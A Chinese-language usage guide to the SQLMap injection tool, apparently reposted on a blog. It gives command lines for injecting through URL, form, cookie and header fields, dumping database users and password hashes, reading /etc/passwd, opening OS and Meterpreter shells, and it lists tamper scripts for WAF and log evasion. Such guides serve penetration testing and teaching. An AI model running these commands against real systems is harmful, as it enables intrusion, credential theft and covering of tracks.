SQLMap使用指南

一、基本用法
# 1、通用参数
-u "<URL>" 
-p "<要测试的参数>" 
--user-agent=SQLMAP //指定UA
--random-agent //随机UA
--threads=10 //指定线程数
--risk=3 #MAX //风险等级,默认是1,最大是3
--level=5 #MAX //测试级别,默认是1,最大是5
//--level和--risk在某些方面有重叠,但它们各自侧重不同,--level是广度上的拓展,--risk 是深度上的挖掘。
--dbms="<指定数据库类型,比如Mysql,MSSQL>" 
--os="<指定操作系统类型>"
--technique="UB" //仅按顺序使用 UNION 和 BLIND 技术(默认“BEUSTQ”)
//B:布尔型盲注(Boolean-based blind)
E:报错型注入(Error-based)
U:联合查询注入(UNION query-based)
S:堆叠查询注入(Stacked queries)
T:时间型盲注(Time-based blind)
Q:内联查询注入(inline Query)
--batch //非交互模式,通常 Sqlmap 会询问,此处设置默认应答
--auth-type="<AUTH>" //HTTP 验证类型(基本、摘要、NTLM 或 PKI)
--auth-cred="<AUTH>" //HTTP 身份验证凭证(名称:密码)
--proxy=http://127.0.0.1:8080 //指定代理
--union-char "123" //用于测试联合查询注入的字符,默认情况下,sqlmap 测试联合查询注入会使用 NULL 字符。你可以手动指定
# 2、信息获取
--current-user //获取当前数据库用户
--is-dba //检查当前用户是否为数据库管理员账户
--hostname //获取主机名
--users //获取DBMS所有用户
--passwords //获取和破解 DBMS 用户的密码哈希
--privileges //获取 DBMS 所有用户权限
# 二、注入点

1、利用 Burp/ZAP 抓包文件

捕获请求并创建 request.txt 文件

sqlmap -r req.txt --current-user

2、GET注入

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

3、POST注入

sqlmap -u "http://example.com" --data "username=*&password=*"

4、标头和其他 HTTP 方法注入

//cookie注入
sqlmap  -u "http://example.com" --cookie "mycookies=*"

//HTTP标头注入
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

//PUT请求注入
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

//注入测试点位于"*"号处

5、注入成功时进行提示

--string="string_showed_when_TRUE" 

6、Eval

Sqlmap 允许使用 -e 或 --eval 来处理每个有效载荷,在每个请求期间运行自定义的 Python 代码。在下面的示例中,flask 在发送 flask cookie 会话之前,会使用已知secret对其进行签名:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

7、与系统shell交互

//执行系统命令
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

//获取交互式系统shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

//带外shell,如Meterpreter 反向shell连接,当后端 DBMS 为 MySQL,PostgreSQL 或 Microsoft SQL Server 时,且当前会话用户拥有对数据库特定功能和架构缺陷的利用权限时,sqlmap 能够在攻击者机器与数据库服务器之间建立起有状态带外TCP连接。如Meterpreter 会话、或者图形用户界面(VNC)会话。
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

8、读取文件

--file-read=/etc/passwd

9、使用SQLmap自动抓取网站

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch //非交互式,默认应答
--crawl //抓取深度
--forms //解析和测试表单

10、二阶注入

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
# 三、定制化注入测试

1、设置后缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

2、设置前缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

3、帮助寻找布尔注入

// --not-string“string”将有助于查找未出现在 True 响应中的字符串(用于查找布尔盲注)
sqlmap -r r.txt -p id --not-string ridiculous --batch

4、Tamper脚本

你可以用Python创建自己的Tamper脚本。

--tamper=name_of_the_tamper
//在kali中你可以在/usr/share/sqlmap/tamper中看到所有的脚本
//在windows中,可以在sqlmap\tamper文件夹中看到所有的脚本

常用Tamper脚本

Tamper描述
apostrophemask.py将撇号字符替换为其 UTF-8 全角对应字符
apostrophenullencode.py将撇号字符替换为非法的双 unicode 对应字符
appendnullbyte.py在有效载荷末尾添加已编码的 NULL 字节字符
base64encode.py使用Base64编码载荷中的所有字符
between.py将大于运算符 ('>') 替换为 'NOT BETWEEN 0 AND #'
bluecoat.py将 SQL 语句后的空格字符替换为有效的随机空白字符。然后将字符 = 替换为 LIKE 运算符
chardoubleencode.py对给定有效载荷中的所有字符进行双重 url 编码(不处理已编码字符)
commalesslimit.py将“LIMIT M, N”等实例替换为“LIMIT N OFFSET M”
commalessmid.py将“MID(A, B, C)”等实例替换为“MID(A FROM B FOR C)”
concat2concatws.py将“CONCAT(A, B)”等实例替换为“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”
charencode.py对给定载荷中的所有字符进行 URL 编码(不处理已编码的字符)
charunicodeencode.py使用Unicode-url 对给定载荷中的非编码字符进行编码(不处理已编码的字符)。格式: “%u0022”
charunicodeescape.py使用Unicode-url 对给定载荷中的非编码字符进行编码(不处理已编码的字符)。格式:"\u0022"
equaltolike.py将所有出现的运算符等于 ('=') 替换为运算符 'LIKE'
escapequotes.py斜杠转义引号(' 和 ")
greatest.py将大于运算符 ('>') 替换为 'GREATEST' 对应项
halfversionedmorekeywords.py在每个关键字前添加版本化的 MySQL 注释
ifnull2ifisnull.py将“IFNULL(A, B)”等实例替换为“IF(ISNULL(A), B, A)”
modsecurityversioned.py包含带有版本化注释的完整查询
modsecurityzeroversioned.py包含带有零版本注释的完整查询
multiplespaces.py在 SQL 关键字周围添加多个空格
nonrecursivereplacement.py用适合替换的表示形式替换预定义的 SQL 关键字(例如 .replace("SELECT", ""))过滤器
percentage.py在每个字符前面添加百分号 ('%')
overlongutf8.py转换给定有效载荷中的所有字符(不处理已编码的字符)
randomcase.py用随机大小写值替换每个关键字字符
randomcomments.py为 SQL 关键字添加随机注释
securesphere.py附加特殊制作的字符串
sp_password.py将“sp_password”附加到有效载荷的末尾,以自动混淆 DBMS 日志
space2comment.py用注释替换空格字符 (' ')
space2dash.py将空格字符 (' ') 替换为破折号注释 ('--'),后跟随机字符串和换行符 ('\n')
space2hash.py将空格字符 (' ') 替换为井号字符 ('#'),后跟随机字符串和换行符 ('\n')
space2morehash.py将空格字符 (' ') 替换为井号字符 ('#'),后跟随机字符串和换行符 ('\n')
space2mssqlblank.py将空格字符 (' ') 替换为有效替代字符集中的随机空白字符
space2mssqlhash.py将空格字符 (' ') 替换为井号字符 ('#'),后跟换行符 ('\n')
space2mysqlblank.py将空格字符 (' ') 替换为有效替代字符集中的随机空白字符
space2mysqldash.py将空格字符 (' ') 替换为破折号注释 ('--'),后跟换行符 ('\n')
space2plus.py将空格字符 (' ') 替换为加号 ('+')
space2randomblank.py将空格字符 (' ') 替换为有效替代字符集中的随机空白字符
symboliclogical.py将 AND 和 OR 逻辑运算符替换为其对应的符号运算符(&& 和 ||)
unionalltounion.py将 UNION ALL SELECT 替换为 UNION SELECT
unmagicquotes.py用多字节组合 %bf%27 代替引号字符 (') 并在末尾加上通用注释(使其生效)
uppercase.py将每个关键字字符替换为大写值“INSERT”
varnish.py附加 HTTP 标头“X-originating-IP”
versionedkeywords.py用版本化的 MySQL 注释括住每个非函数关键字
versionedmorekeywords.py用版本化的 MySQL 注释括住每个关键字
xforwardedfor.py附加假 HTTP 标头“X-Forwarded-For”
# 四、说明

参考资料:

sqlmap用户手册:https://sqlmap.highlight.ink/

原文:https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap

本文由笔者在原文是编译,转载请注明来源。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值